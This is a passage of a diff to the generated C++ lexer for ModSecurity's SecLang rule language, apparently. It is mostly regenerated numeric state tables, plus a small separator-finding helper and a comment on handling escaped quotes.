4336, 63, 4336, 4336, 4336, 4336, + 4336, 4336, 4336, 4336, 4336, 4337, 4337, 4337, 4337, 4337, + 4337, 4337, 58, 4337, 57, 4337, 4337, 4337, 4337, 4337, + 4337, 4337, 4337, 4337, 4338, 4338, 4338, 4338, 4338, 4338, + + 4338, 56, 4338, 55, 4338, 4338, 4338, 4338, 4338, 4338, + 4338, 4338, 4338, 4339, 4339, 4339, 4339, 4339, 4339, 4339, + 4339, 4339, 4339, 4339, 4339, 4339, 4339, 4339, 4339, 4339, + 4339, 4339, 4340, 4340, 4340, 4340, 4340, 4340, 4340, 4340, + 4340, 4340, 4340, 4340, 4340, 4340, 4340, 4340, 4340, 4340, + 4340, 4341, 4341, 4341, 4341, 4341, 4341, 4341, 4341, 4341, + 4341, 4341, 4341, 4341, 4341, 4341, 4341, 4341, 4341, 4341, + 4342, 4342, 4342, 4342, 4342, 4342, 4342, 4342, 4342, 4342, + 4342, 4342, 4342, 4342, 4342, 4342, 4342, 4342, 4342, 4343, + 4343, 4343, 4343, 4343, 4343, 4343, 4343, 4343, 4343, 4343, + + 4343, 4343, 4343, 4343, 4343, 4343, 4343, 4343, 4344, 4344, + 4344, 4344, 4344, 4344, 4344, 4344, 4344, 4344, 4344, 4344, + 4344, 4344, 4344, 4344, 4344, 4344, 4344, 4345, 4345, 4345, + 4345, 4345, 4345, 4345, 4345, 4345, 4345, 4345, 4345, 4345, + 4345, 4345, 4345, 4345, 4345, 4345, 4346, 4346, 54, 4346, + 4346, 4346, 4346, 4346, 4346, 4346, 4346, 4346, 4346, 4346, + 4346, 4346, 4346, 4346, 4346, 4347, 4347, 4347, 4347, 4347, + 4347, 4347, 4347, 4347, 4347, 4347, 4347, 4347, 4347, 4347, + 4347, 4347, 4347, 4347, 4348, 4348, 4348, 4348, 4348, 4348, + 4348, 4348, 4348, 4348, 4348, 4348, 4348, 4348, 4348, 4348, + + 4348, 4348, 4348, 4349, 4349, 4349, 4349, 4349, 4349, 4349, + 4349, 4349, 4349, 4349, 4349, 4349, 4349, 4349, 4349, 4349, + 4349, 4349, 4350, 4350, 4350, 4350, 4350, 4350, 4350, 4350, + 4350, 4350, 4350, 4350, 4350, 4350, 4350, 4350, 4350, 4350, + 4350, 4351, 4351, 4351, 4351, 4351, 4351, 4351, 4351, 4351, + 4351, 4351, 4351, 4351, 4351, 4351, 4351, 4351, 4351, 4351, + 4352, 4352, 4352, 4352, 4352, 4352, 4352, 4352, 4352, 4352, + 4352, 4352, 4352, 4352, 4352, 4352, 4352, 4352, 4352, 4353, + 4353, 4353, 4353, 4353, 4353, 4353, 4353, 4353, 4353, 4353, + 4353, 4353, 4353, 4353, 4353, 4353, 4353, 4353, 4354, 4354, + + 4354, 4354, 4354, 4354, 4354, 4354, 4354, 4354, 4354, 4354, + 4354, 4354, 4354, 4354, 4354, 4354, 4354, 4355, 4355, 4355, + 4355, 4355, 4355, 4355, 4355, 4355, 4355, 4355, 4355, 4355, + 4355, 4355, 4355, 4355, 4355, 4355, 4356, 4356, 4356, 4356, + 4356, 4356, 4356, 4356, 4356, 4356, 4356, 4356, 4356, 4356, + 4356, 4356, 4356, 4356, 4356, 4357, 53, 4357, 4357, 52, + 51, 4357, 4357, 4357, 4357, 4357, 26, 4357, 4357, 4357, + 4357, 4357, 4357, 4357, 4358, 25, 4358, 4358, 24, 23, + 4358, 4358, 4358, 4358, 4358, 0, 4358, 4358, 4358, 4358, + 4358, 4358, 4358, 4359, 0, 4359, 4359, 0, 0, 4359, + + 4359, 4359, 4359, 4359, 0, 4359, 4359, 4359, 4359, 4359, + 4359, 4359, 4360, 4360, 4360, 4360, 4360, 4360, 4360, 4360, + 4360, 4360, 4360, 4360, 4360, 4360, 4360, 4360, 4360, 4360, + 4360, 4361, 0, 4361, 4361, 0, 0, 4361, 4361, 4361, + 4361, 4361, 0, 4361, 4361, 4361, 4361, 4361, 4361, 4361, + 4362, 4362, 4362, 4362, 4362, 4362, 4362, 4362, 4362, 4362, + 4362, 4362, 4362, 4362, 4362, 4362, 4362, 4362, 4362, 4363, + 0, 4363, 4363, 0, 0, 4363, 4363, 4363, 4363, 4363, + 0, 4363, 4363, 4363, 4363, 4363, 4363, 4364, 4364, 4364, + 4364, 4364, 4364, 4364, 4364, 4364, 4364, 4364, 4364, 4364, + + 4364, 4364, 4364, 4364, 4364, 4364, 4365, 4365, 4365, 4365, + 4365, 4365, 4365, 4365, 4365, 4365, 4365, 4365, 4365, 4365, + 4365, 4365, 4365, 4365, 4365, 4366, 4366, 4366, 4366, 4366, + 4366, 4366, 4366, 4366, 4366, 4366, 4366, 4366, 4366, 4366, + 4366, 4366, 4366, 4366, 4367, 4367, 4367, 4367, 4367, 4367, + 4367, 4367, 4367, 4367, 4367, 4367, 4367, 4367, 4367, 4367, + 4367, 4367, 4367, 4368, 0, 4368, 4368, 0, 0, 4368, + 4368, 4368, 0, 4368, 4368, 4368, 4368, 4368, 4368, 4368, + 4368, 4368, 4369, 4369, 4369, 4369, 4369, 4369, 4369, 4369, + 4369, 4369, 4369, 4369, 4369, 4369, 4369, 4369, 4369, 4369, + + 4369, 4370, 0, 0, 4370, 0, 0, 4370, 4371, 4371, + 4371, 4371, 4371, 4371, 4371, 4371, 4371, 0, 4371, 4371, + 4371, 4371, 4371, 4371, 4371, 4371, 4371, 4372, 4372, 4372, + 4372, 4372, 4372, 4372, 4372, 4372, 4372, 4372, 4372, 4372, + 4372, 4372, 4372, 4372, 4372, 4372, 4373, 0, 0, 0, + 0, 0, 4373, 4373, 4373, 0, 4373, 4373, 4373, 4373, + 4373, 4373, 4373, 4373, 4373, 4374, 4374, 4374, 4374, 4374, + 4374, 4374, 4374, 4374, 4374, 4374, 4374, 4374, 4374, 4374, + 4374, 4374, 4374, 4374, 4375, 4375, 4375, 4375, 4375, 4375, + 4375, 4375, 4375, 4375, 4375, 4375, 4375, 4375, 4375, 4375, + + 4375, 4375, 4375, 4376, 4376, 4376, 4376, 4376, 4376, 4376, + 4376, 4376, 4376, 4376, 4376, 4376, 4376, 4376, 4376, 4376, + 4376, 4376, 4377, 4377, 4377, 4377, 4377, 4377, 4377, 4377, + 4377, 4377, 4377, 4377, 4377, 4377, 4377, 4377, 4377, 4377, + 4377, 4378, 4378, 0, 4378, 4378, 4378, 4378, 4378, 4378, + 4378, 4378, 4378, 4378, 4378, 4378, 4378, 4378, 4378, 4378, + 4379, 4379, 4379, 4379, 4379, 4379, 4379, 4379, 4379, 4379, + 4379, 4379, 4379, 4379, 4379, 4379, 4379, 4379, 4379, 4380, + 4380, 4380, 4380, 4380, 4380, 4380, 4380, 4380, 4380, 4380, + 4380, 4380, 4380, 4380, 4380, 4380, 4380, 4380, 4381, 4381, + + 4381, 4381, 4381, 4381, 4381, 4381, 4381, 4381, 4381, 4381, + 4381, 4381, 4381, 4381, 4381, 4381, 4381, 4382, 4382, 4382, + 4382, 4382, 4382, 4382, 4382, 4382, 4382, 4382, 4382, 4382, + 4382, 4382, 4382, 4382, 4382, 4382, 4383, 4383, 4383, 4383, + 4383, 4383, 4383, 4383, 4383, 4383, 4383, 4383, 4383, 4383, + 4383, 4383, 4383, 4383, 4383, 4384, 0, 4384, 4384, 0, + 0, 4384, 4384, 4384, 4384, 4384, 0, 4384, 4384, 4384, + 4384, 4384, 4384, 4384, 4385, 0, 4385, 4385, 0, 0, + 4385, 4385, 4385, 4385, 4385, 4385, 4385, 4385, 4385, 4385, + 4385, 4385, 4385, 4386, 4386, 4386, 4386, 4386, 4386, 4386, + + 4386, 4386, 4386, 4386, 4386, 4386, 4386, 4386, 4386, 4386, + 4386, 4386, 4387, 4387, 4387, 4387, 4387, 4387, 4387, 4387, + 4387, 4387, 4387, 4387, 4387, 4387, 4387, 4387, 4387, 4387, + 4387, 4388, 0, 0, 4388, 0, 4388, 4389, 4389, 4389, + 4389, 4389, 4389, 4389, 4389, 4389, 4389, 4389, 4389, 4389, + 4389, 4389, 4389, 4389, 4389, 4389, 4390, 0, 0, 4390, + 4390, 0, 0, 4390, 0, 4390, 0, 4390, 4390, 4390, + 4390, 4390, 4391, 4391, 4391, 4391, 4391, 4391, 4391, 4391, + 4391, 4391, 4391, 4391, 4391, 4391, 4391, 4391, 4391, 4391, + 4391, 4392, 4392, 4392, 4392, 4392, 4392, 4392, 4392, 4392, + + 4392, 4392, 4392, 4392, 4392, 4392, 4392, 4392, 4392, 4392, + 4393, 4393, 4393, 4393, 4393, 4393, 4393, 4393, 4393, 4393, + 4393, 4393, 4393, 4393, 4393, 4393, 4393, 4393, 4393, 4394, + 4394, 4394, 4394, 4395, 4395, 4395, 4395, 4395, 4395, 4395, + 4395, 4395, 4395, 4395, 4395, 4395, 4395, 4395, 4395, 4395, + 4395, 4395, 4396, 4396, 0, 4396, 4396, 4396, 4396, 4396, + 4396, 4396, 4396, 4396, 4396, 4396, 4396, 4396, 4396, 4396, + 4396, 4397, 4397, 0, 4397, 4397, 4397, 4397, 4397, 4397, + 4397, 4397, 4397, 4397, 4397, 4397, 4397, 4397, 4397, 4397, + 4398, 0, 0, 0, 4398, 0, 4398, 0, 4398, 4398, + + 4398, 4398, 4398, 4399, 4399, 4399, 4399, 4399, 4399, 4399, + 4399, 4399, 4399, 4399, 4399, 4399, 4399, 4399, 4399, 4399, + 4399, 4399, 4400, 4400, 4400, 4400, 4400, 4400, 4400, 4400, + 4400, 4400, 4400, 4400, 4400, 4400, 4400, 4400, 4400, 4400, + 4400, 4401, 4401, 4401, 4401, 4401, 4401, 4401, 4401, 4401, + 4401, 4401, 4401, 4401, 4401, 4401, 4401, 4401, 4401, 4401, + 4402, 4402, 0, 0, 4402, 4402, 4402, 4402, 4402, 0, + 4402, 4402, 4402, 4402, 4402, 4402, 4402, 4402, 4402, 4403, + 0, 0, 4403, 4403, 0, 0, 4403, 0, 4403, 0, + 4403, 4403, 4403, 4403, 4403, 4404, 4404, 4404, 4404, 4404, + + 4404, 4404, 4404, 4404, 4404, 4404, 4404, 4404, 4404, 4404, + 4404, 4404, 4404, 4404, 4405, 4405, 4405, 4405, 4405, 4405, + 4405, 4405, 4405, 4405, 4405, 4405, 4405, 4405, 4405, 4405, + 4405, 4405, 4405, 4406, 0, 0, 0, 0, 0, 4406, + 4406, 4406, 0, 4406, 4406, 4406, 4406, 4406, 4406, 4406, + 4406, 4406, 4407, 4407, 0, 4407, 4407, 4407, 4407, 4407, + 4407, 4407, 4407, 4407, 4407, 4407, 4407, 4407, 4407, 4407, + 4407, 4408, 4408, 0, 4408, 4408, 4408, 4408, 4408, 4408, + 4408, 4408, 4408, 4408, 4408, 4408, 4408, 4408, 4408, 4408, + 4409, 0, 0, 4409, 4409, 0, 0, 4409, 0, 4409, + + 0, 4409, 4409, 4409, 4409, 4409, 4410, 0, 0, 0, + 0, 0, 4410, 4410, 4410, 0, 4410, 4410, 4410, 4410, + 4410, 4410, 4410, 4410, 4410, 4411, 4411, 0, 4411, 4411, + 0, 4411, 4411, 4411, 4411, 4411, 4411, 4411, 4411, 4411, + 4411, 4411, 4411, 4412, 0, 0, 0, 4412, 0, 4412, + 0, 4412, 4412, 4412, 4412, 4412, 4413, 4413, 4413, 4413, + 4413, 4413, 4413, 4413, 4413, 4413, 4413, 4413, 4413, 4413, + 4413, 4413, 4413, 4413, 4413, 4414, 4414, 4414, 4414, 4414, + 4414, 4414, 4414, 4414, 4414, 4414, 4414, 4414, 4414, 4414, + 4414, 4414, 4414, 4414, 4415, 0, 0, 4415, 4415, 0, + + 0, 4415, 0, 4415, 0, 4415, 4415, 4415, 4415, 4415, + 4416, 0, 0, 0, 4416, 0, 4416, 0, 4416, 4416, + 4416, 4416, 4416, 4417, 0, 0, 4417, 4417, 0, 0, + 4417, 0, 4417, 0, 4417, 4417, 4417, 4417, 4417, 4418, + 4418, 0, 4418, 4418, 4418, 4418, 4418, 4418, 4418, 4418, + 4418, 4418, 4418, 4418, 4418, 4418, 4418, 4419, 0, 0, + 0, 4419, 0, 4419, 0, 4419, 4419, 4419, 4419, 4419, + 4420, 0, 0, 4420, 0, 0, 0, 4420, 0, 4420, + 0, 4420, 4420, 4420, 4420, 4420, 4421, 0, 0, 4421, + 4421, 0, 0, 4421, 0, 4421, 0, 4421, 4421, 4421, + + 4421, 4421, 4422, 0, 0, 0, 4422, 0, 4422, 0, + 4422, 4422, 4422, 4422, 4422, 4423, 4423, 0, 4423, 4423, + 0, 4423, 4423, 4423, 4423, 4423, 4423, 4423, 4423, 4423, + 4423, 4423, 4423, 4424, 0, 0, 4424, 4424, 0, 0, + 4424, 0, 4424, 0, 4424, 4424, 4424, 4424, 4424, 4425, + 4425, 4425, 4425, 4425, 4425, 4425, 4425, 4425, 4425, 4425, + 4425, 4425, 4425, 4425, 4425, 4425, 4425, 4425, 4426, 0, + 0, 0, 4426, 0, 4426, 0, 4426, 4426, 4426, 4426, + 4426, 4427, 0, 0, 4427, 4427, 0, 0, 4427, 0, + 4427, 0, 4427, 4427, 4427, 4427, 4427, 4428, 0, 0, + + 0, 4428, 0, 4428, 0, 4428, 4428, 4428, 4428, 4428, + 4429, 4429, 0, 4429, 4429, 0, 4429, 4429, 4429, 4429, + 4429, 4429, 4429, 4429, 4429, 4429, 4429, 4429, 4430, 0, + 0, 4430, 4430, 0, 0, 4430, 0, 4430, 0, 4430, + 4430, 4430, 4430, 4430, 4431, 4431, 4431, 4431, 0, 4431, + 4431, 4431, 4431, 4431, 4431, 4431, 4431, 4431, 4431, 4431, + 4431, 4431, 4431, 4432, 0, 0, 0, 0, 0, 4432, + 4432, 4432, 0, 4432, 4432, 4432, 4432, 4432, 4432, 4432, + 4432, 4432, 4433, 0, 0, 0, 4433, 0, 4433, 0, + 4433, 4433, 4433, 4433, 4433, 4434, 4434, 0, 4434, 4434, + + 0, 4434, 4434, 4434, 4434, 4434, 4434, 4434, 4434, 4434, + 4434, 4434, 4434, 4435, 0, 0, 4435, 4435, 0, 0, + 0, 0, 0, 0, 4435, 4436, 4436, 0, 0, 0, + 4436, 4436, 4436, 4436, 4436, 4436, 4436, 4436, 4436, 4436, + 4436, 4436, 4436, 4436, 4437, 4437, 0, 4437, 4437, 4437, + 4437, 4437, 4437, 4437, 4437, 4437, 4437, 4437, 4437, 4437, + 4437, 4437, 4438, 4438, 0, 4438, 4438, 0, 4438, 4438, + 4438, 4438, 4438, 4438, 4438, 4438, 4438, 4438, 4438, 4438, + 4439, 4439, 0, 4439, 4439, 0, 4439, 4439, 4439, 4439, + 4439, 4439, 4439, 4439, 4439, 4439, 4439, 4439, 4440, 4440, + + 0, 4440, 4440, 0, 4440, 4440, 4440, 4440, 4440, 4440, + 4440, 4440, 4440, 4440, 4440, 4440, 4441, 4441, 0, 4441, + 4441, 4441, 4441, 4441, 4441, 4441, 4441, 4441, 4441, 4441, + 4441, 4441, 4441, 4441, 4442, 4442, 0, 4442, 4442, 4442, + 4442, 4442, 4442, 4442, 4442, 4442, 4442, 4442, 4442, 4442, + 4442, 4442, 4443, 4443, 4443, 0, 4443, 4443, 4443, 4443, + 4443, 4443, 4444, 4444, 0, 4444, 4444, 0, 4444, 4444, + 4444, 4444, 4444, 4444, 4444, 4444, 4444, 4444, 4444, 4444, + 4445, 4445, 0, 4445, 4445, 0, 4445, 4445, 4445, 4445, + 4445, 4445, 4445, 4445, 4445, 4445, 4445, 4445, 4446, 4446, + + 4446, 4446, 4446, 4446, 4446, 4446, 4446, 4446, 4446, 4446, + 4446, 4446, 4446, 4446, 4446, 4446, 4446, 4447, 4447, 4447, + 0, 4447, 4447, 4447, 4447, 4447, 4447, 4448, 4448, 0, + 4448, 4448, 4448, 4448, 4448, 4448, 4448, 4448, 4448, 4448, + 4448, 4448, 4448, 4448, 4448, 4448, 4449, 4449, 0, 4449, + 4449, 0, 4449, 4449, 4449, 4449, 4449, 4449, 4449, 4449, + 4449, 4449, 4449, 4449, 4450, 4450, 0, 0, 4450, 4450, + 4450, 4450, 4450, 0, 4450, 4450, 4450, 4450, 4450, 4450, + 4450, 4450, 4450, 4451, 4451, 0, 4451, 4451, 0, 4451, + 4451, 4451, 4451, 4451, 4451, 4451, 4451, 4451, 4451, 4451, + + 4451, 4452, 0, 0, 0, 0, 0, 4452, 4452, 4452, + 0, 4452, 4452, 4452, 4452, 4452, 4452, 4452, 4452, 4452, + 4453, 0, 0, 0, 0, 0, 4453, 4453, 4453, 0, + 4453, 4453, 4453, 4453, 4453, 4453, 4453, 4453, 4453, 4454, + 0, 0, 4454, 4454, 0, 0, 4454, 0, 4454, 0, + 4454, 4454, 4454, 4454, 4454, 4455, 4455, 0, 4455, 4455, + 0, 4455, 4455, 4455, 4455, 4455, 4455, 4455, 4455, 4455, + 4455, 4455, 4455, 4456, 0, 0, 0, 0, 0, 4456, + 4456, 4456, 0, 4456, 4456, 4456, 4456, 4456, 4456, 4456, + 4456, 4456, 4457, 0, 0, 0, 4457, 0, 4457, 0, + + 4457, 4457, 4457, 4457, 4457, 4458, 4458, 0, 4458, 4458, + 0, 4458, 4458, 4458, 4458, 4458, 4458, 4458, 4458, 4458, + 4458, 4458, 4458, 4459, 4459, 4459, 4459, 4459, 4459, 4459, + 4459, 4459, 4459, 4459, 4459, 4459, 4459, 4459, 4459, 4459, + 4459, 4459, 4460, 4460, 0, 4460, 4460, 0, 4460, 4460, + 4460, 4460, 4460, 4460, 4460, 4460, 4460, 4460, 4460, 4460, + 4461, 4461, 0, 0, 4461, 4461, 4461, 4461, 4461, 0, + 4461, 4461, 4461, 4461, 4461, 4461, 4461, 4461, 4461, 4462, + 4462, 0, 0, 4462, 4462, 4462, 4462, 4462, 0, 4462, + 4462, 4462, 4462, 4462, 4462, 4462, 4462, 4462, 4463, 4463, + + 0, 4463, 4463, 0, 4463, 4463, 4463, 4463, 4463, 4463, + 4463, 4463, 4463, 4463, 4463, 4463, 4464, 4464, 0, 4464, + 4464, 0, 4464, 4464, 4464, 4464, 4464, 4464, 4464, 4464, + 4464, 4464, 4464, 4464, 4465, 4465, 0, 0, 4465, 4465, + 4465, 4465, 4465, 0, 4465, 4465, 4465, 4465, 4465, 4465, + 4465, 4465, 4465, 4466, 4466, 0, 0, 4466, 4466, 4466, + 4466, 4466, 0, 4466, 4466, 4466, 4466, 4466, 4466, 4466, + 4466, 4466, 4467, 4467, 4467, 0, 4467, 4467, 4467, 4467, + 4467, 4467, 4468, 4468, 0, 4468, 4468, 4468, 4468, 4468, + 4468, 4468, 4468, 4468, 4468, 4468, 4468, 4468, 4468, 4468, + + 4469, 4469, 0, 4469, 4469, 0, 4469, 4469, 4469, 4469, + 4469, 4469, 4469, 4469, 4469, 4469, 4469, 4469, 4470, 4470, + 0, 4470, 4470, 0, 4470, 4470, 4470, 4470, 4470, 4470, + 4470, 4470, 4470, 4470, 4470, 4470, 4471, 4471, 4471, 0, + 4471, 4471, 4471, 4471, 4471, 4471, 4472, 0, 0, 0, + 0, 0, 4472, 4472, 4472, 0, 4472, 4472, 4472, 4472, + 4472, 4472, 4472, 4472, 4472, 4154, 4154, 4154, 4154, 4154, + 4154, 4154, 4154, 4154, 4154, 4154, 4154, 4154, 4154, 4154, + 4154, 4154, 4154, 4154, 4154, 4154, 4154, 4154, 4154, 4154, + 4154, 4154, 4154, 4154, 4154, 4154, 4154, 4154, 4154, 4154, + + 4154, 4154, 4154, 4154, 4154, 4154, 4154, 4154, 4154, 4154, + 4154, 4154, 4154, 4154, 4154, 4154, 4154, 4154, 4154, 4154, + 4154, 4154, 4154, 4154, 4154, 4154, 4154, 4154, 4154, 4154, + 4154, 4154, 4154, 4154, 4154, 4154, 4154, 4154, 4154, 4154, + 4154, 4154, 4154, 4154, 4154, 4154, 4154, 4154, 4154, 4154, + 4154, 4154, 4154 } ; static yy_state_type yy_last_accepting_state; @@ -5067,68 +5376,69 @@ static char *yy_last_accepting_cpos; extern int yy_flex_debug; int yy_flex_debug = 1; -static const flex_int16_t yy_rule_linenum[546] = +static const flex_int16_t yy_rule_linenum[559] = { 0, - 507, 508, 509, 510, 511, 512, 513, 514, 515, 516, - 517, 518, 519, 520, 521, 522, 523, 524, 525, 526, - 527, 528, 530, 531, 532, 533, 534, 535, 536, 537, - 538, 539, 540, 541, 542, 543, 544, 545, 546, 547, - 548, 549, 550, 551, 552, 553, 554, 555, 556, 557, - 558, 559, 560, 561, 562, 563, 565, 566, 569, 570, - 571, 572, 573, 574, 575, 577, 578, 579, 580, 581, - 582, 583, 584, 585, 586, 587, 588, 589, 590, 591, - 592, 593, 594, 595, 596, 597, 598, 599, 600, 601, - 602, 603, 604, 605, 606, 607, 608, 609, 610, 611, - - 612, 613, 615, 616, 617, 618, 619, 620, 624, 629, - 630, 635, 636, 637, 642, 643, 644, 649, 654, 655, - 656, 661, 662, 666, 667, 668, 672, 673, 677, 678, - 682, 683, 684, 688, 689, 693, 694, 699, 700, 701, - 705, 709, 710, 718, 723, 724, 729, 730, 731, 740, - 743, 744, 745, 746, 747, 748, 749, 750, 751, 752, - 753, 754, 755, 756, 757, 758, 759, 760, 761, 762, - 763, 764, 765, 766, 769, 770, 771, 772, 773, 774, - 775, 776, 777, 779, 780, 781, 782, 783, 784, 785, - 786, 787, 788, 789, 790, 791, 792, 793, 794, 795, - - 796, 797, 798, 799, 800, 801, 802, 803, 804, 805, - 806, 807, 808, 809, 810, 811, 812, 813, 814, 815, - 816, 817, 818, 819, 820, 821, 822, 823, 824, 825, - 826, 827, 828, 829, 830, 831, 832, 833, 834, 835, - 836, 837, 838, 839, 840, 841, 842, 843, 844, 845, - 846, 847, 848, 849, 850, 851, 852, 853, 854, 856, - 857, 858, 860, 861, 862, 863, 864, 865, 866, 867, - 868, 869, 872, 876, 877, 878, 879, 880, 884, 885, - 886, 887, 888, 889, 893, 894, 895, 896, 901, 902, - 903, 904, 905, 906, 907, 908, 909, 910, 911, 912, - - 913, 914, 915, 916, 917, 918, 919, 920, 921, 922, - 923, 924, 925, 926, 927, 928, 929, 930, 931, 932, - 933, 934, 935, 936, 937, 938, 939, 940, 941, 942, - 943, 944, 945, 946, 947, 948, 949, 950, 951, 952, - 953, 954, 955, 956, 957, 958, 959, 960, 961, 962, - 963, 964, 965, 966, 967, 968, 969, 970, 971, 972, - 973, 974, 975, 976, 977, 978, 979, 980, 981, 982, - 983, 984, 985, 986, 987, 988, 989, 990, 991, 992, - 993, 994, 995, 996, 997, 998, 999, 1000, 1001, 1002, - 1003, 1004, 1005, 1006, 1007, 1008, 1009, 1010, 1011, 1012, - - 1013, 1014, 1015, 1016, 1017, 1018, 1019, 1020, 1021, 1022, - 1023, 1024, 1025, 1028, 1029, 1030, 1031, 1032, 1033, 1034, - 1035, 1036, 1040, 1041, 1042, 1043, 1044, 1045, 1050, 1051, - 1052, 1053, 1054, 1055, 1056, 1057, 1058, 1060, 1061, 1062, - 1063, 1064, 1069, 1070, 1071, 1072, 1073, 1074, 1076, 1077, - 1079, 1080, 1086, 1087, 1088, 1089, 1090, 1091, 1094, 1095, - 1096, 1097, 1098, 1099, 1103, 1104, 1105, 1106, 1107, 1108, - 1109, 1110, 1111, 1112, 1113, 1114, 1115, 1116, 1117, 1118, - 1119, 1120, 1121, 1122, 1123, 1124, 1125, 1126, 1127, 1128, - 1129, 1130, 1131, 1132, 1133, 1135, 1136, 1141, 1145, 1149, - - 1150, 1154, 1155, 1158, 1159, 1163, 1164, 1168, 1169, 1173, - 1174, 1179, 1181, 1182, 1183, 1184, 1186, 1187, 1188, 1189, - 1191, 1192, 1193, 1194, 1196, 1198, 1199, 1201, 1202, 1203, - 1204, 1206, 1211, 1212, 1213, 1217, 1218, 1219, 1224, 1226, - 1227, 1228, 1247, 1276, 1307 + 533, 534, 535, 536, 537, 538, 539, 540, 541, 542, + 543, 544, 545, 546, 547, 548, 549, 550, 551, 552, + 553, 554, 556, 557, 558, 559, 560, 561, 562, 563, + 564, 565, 566, 567, 568, 569, 570, 571, 572, 573, + 574, 575, 576, 577, 578, 579, 580, 581, 582, 583, + 584, 585, 586, 587, 589, 590, 593, 594, 595, 596, + 597, 598, 599, 601, 602, 603, 604, 605, 606, 607, + 608, 609, 610, 611, 612, 613, 614, 615, 616, 617, + 618, 619, 620, 621, 622, 623, 624, 625, 626, 627, + 628, 629, 630, 631, 632, 633, 634, 635, 636, 637, + + 639, 640, 641, 642, 643, 644, 645, 649, 654, 655, + 660, 661, 662, 667, 668, 669, 674, 679, 680, 681, + 686, 687, 691, 692, 693, 697, 698, 699, 703, 704, + 705, 709, 710, 711, 712, 716, 717, 721, 722, 727, + 728, 729, 733, 737, 738, 746, 751, 752, 757, 758, + 759, 768, 771, 772, 773, 774, 775, 776, 777, 778, + 779, 780, 781, 782, 783, 784, 785, 786, 787, 788, + 789, 790, 791, 792, 793, 794, 795, 796, 799, 800, + 801, 802, 803, 804, 805, 806, 807, 809, 810, 811, + 812, 813, 814, 815, 816, 817, 818, 819, 820, 821, + + 822, 823, 824, 825, 826, 827, 828, 829, 830, 831, + 832, 833, 834, 835, 836, 837, 838, 839, 840, 841, + 842, 843, 844, 845, 846, 847, 848, 849, 850, 851, + 852, 853, 854, 855, 856, 857, 858, 859, 860, 861, + 862, 863, 864, 865, 866, 867, 868, 869, 870, 871, + 872, 873, 874, 875, 876, 877, 878, 879, 880, 881, + 882, 883, 884, 885, 886, 888, 889, 890, 892, 893, + 894, 895, 896, 897, 898, 899, 900, 901, 904, 908, + 909, 910, 911, 912, 916, 917, 918, 919, 920, 921, + 925, 926, 927, 928, 933, 934, 935, 936, 937, 938, + + 939, 940, 941, 942, 943, 944, 945, 946, 947, 948, + 949, 950, 951, 952, 953, 954, 955, 956, 957, 958, + 959, 960, 961, 962, 963, 964, 965, 966, 967, 968, + 969, 970, 971, 972, 973, 974, 975, 976, 977, 978, + 979, 980, 981, 982, 983, 984, 985, 986, 987, 988, + 989, 990, 991, 992, 993, 994, 995, 996, 997, 998, + 999, 1000, 1001, 1002, 1003, 1004, 1005, 1006, 1007, 1008, + 1009, 1010, 1011, 1012, 1013, 1014, 1015, 1016, 1017, 1018, + 1019, 1020, 1021, 1022, 1023, 1024, 1025, 1026, 1027, 1028, + 1029, 1030, 1031, 1032, 1033, 1034, 1035, 1036, 1037, 1038, + + 1039, 1040, 1041, 1042, 1043, 1044, 1045, 1046, 1047, 1048, + 1049, 1050, 1051, 1052, 1053, 1054, 1055, 1056, 1057, 1058, + 1059, 1060, 1061, 1062, 1065, 1066, 1067, 1068, 1069, 1070, + 1071, 1072, 1073, 1077, 1078, 1079, 1080, 1081, 1082, 1087, + 1088, 1089, 1090, 1091, 1092, 1093, 1094, 1095, 1097, 1098, + 1099, 1100, 1101, 1106, 1107, 1108, 1109, 1110, 1111, 1113, + 1114, 1116, 1117, 1123, 1124, 1125, 1126, 1127, 1128, 1131, + 1132, 1133, 1134, 1135, 1136, 1140, 1141, 1142, 1143, 1144, + 1145, 1146, 1147, 1148, 1149, 1150, 1151, 1152, 1153, 1154, + 1155, 1156, 1157, 1158, 1159, 1160, 1161, 1162, 1163, 1164, + + 1165, 1166, 1167, 1168, 1169, 1170, 1172, 1173, 1178, 1182, + 1186, 1187, 1188, 1192, 1193, 1196, 1197, 1201, 1202, 1203, + 1207, 1208, 1212, 1213, 1218, 1220, 1221, 1222, 1223, 1225, + 1226, 1227, 1228, 1230, 1231, 1232, 1233, 1235, 1237, 1238, + 1240, 1241, 1242, 1243, 1245, 1250, 1251, 1252, 1256, 1257, + 1258, 1263, 1265, 1266, 1267, 1286, 1315, 1345 } ; /* The intent behind this definition is that it'll catch @@ -5159,6 +5469,11 @@ typedef yy::seclang_parser p; static int state_variable_from = 0; static std::stack YY_PREVIOUS_STATE; +static const char* find_separator(const char *s) { + while (*s && *s != ' ' && *s != '\t') s++; + return (*s) ? s + 1 : s; +} + // Work around an incompatibility in flex (at least versions // 2.5.31 through 2.5.33): it generates code that does // not conform to C89. See Debian bug 333231 @@ -5214,15 +5529,26 @@ static std::stack YY_PREVIOUS_STATE; #define BEGIN_PREVIOUS() { BEGIN(YY_PREVIOUS_STATE.top()); YY_PREVIOUS_STATE.pop(); } // The location of the current token. -#line 5217 "seclang-scanner.cc" +#line 5533 "seclang-scanner.cc" #define YY_NO_INPUT 1 +#define YY_NO_UNISTD_H 1 +/* An escaped quote at the very start of a fresh token has no preceding + * character to serve as the "not a backslash" anchor the alternatives + * above rely on. That happens right after a %{VARIABLE} macro closes + * (the closing '}' is consumed by its own rule, in EXPECTING_ACTION_PREDICATE_VARIABLE, + * and is not available to the next token) and at the very start of a + * quoted value (or, for the unquoted/comma-terminated action-predicate + * form, right at the start too). These macros cover that leading-escape + * case: an odd run of backslashes (1, 3, 5, ...) before the quote still + * escapes it, matching the pairing convention used by the alternatives + * above. */ -#line 494 "seclang-scanner.ll" +#line 520 "seclang-scanner.ll" // Code run each time a pattern is matched. # define YY_USER_ACTION driver.loc.back()->columns (yyleng); -#line 5224 "seclang-scanner.cc" -#line 5225 "seclang-scanner.cc" +#line 5551 "seclang-scanner.cc" +#line 5552 "seclang-scanner.cc" #define INITIAL 0 #define EXPECTING_ACTION_PREDICATE_VARIABLE 1 @@ -5536,15 +5862,15 @@ YY_DECL { /* %% [7.0] user's declarations go here */ -#line 499 "seclang-scanner.ll" +#line 525 "seclang-scanner.ll" -#line 503 "seclang-scanner.ll" +#line 529 "seclang-scanner.ll" // Code run each time yylex is called. driver.loc.back()->step(); -#line 5547 "seclang-scanner.cc" +#line 5874 "seclang-scanner.cc" while ( /*CONSTCOND*/1 ) /* loops until end-of-file is reached */ { @@ -5573,13 +5899,13 @@ YY_DECL while ( yy_chk[yy_base[yy_current_state] + yy_c] != yy_current_state ) { yy_current_state = (int) yy_def[yy_current_state]; - if ( yy_current_state >= 3994 ) + if ( yy_current_state 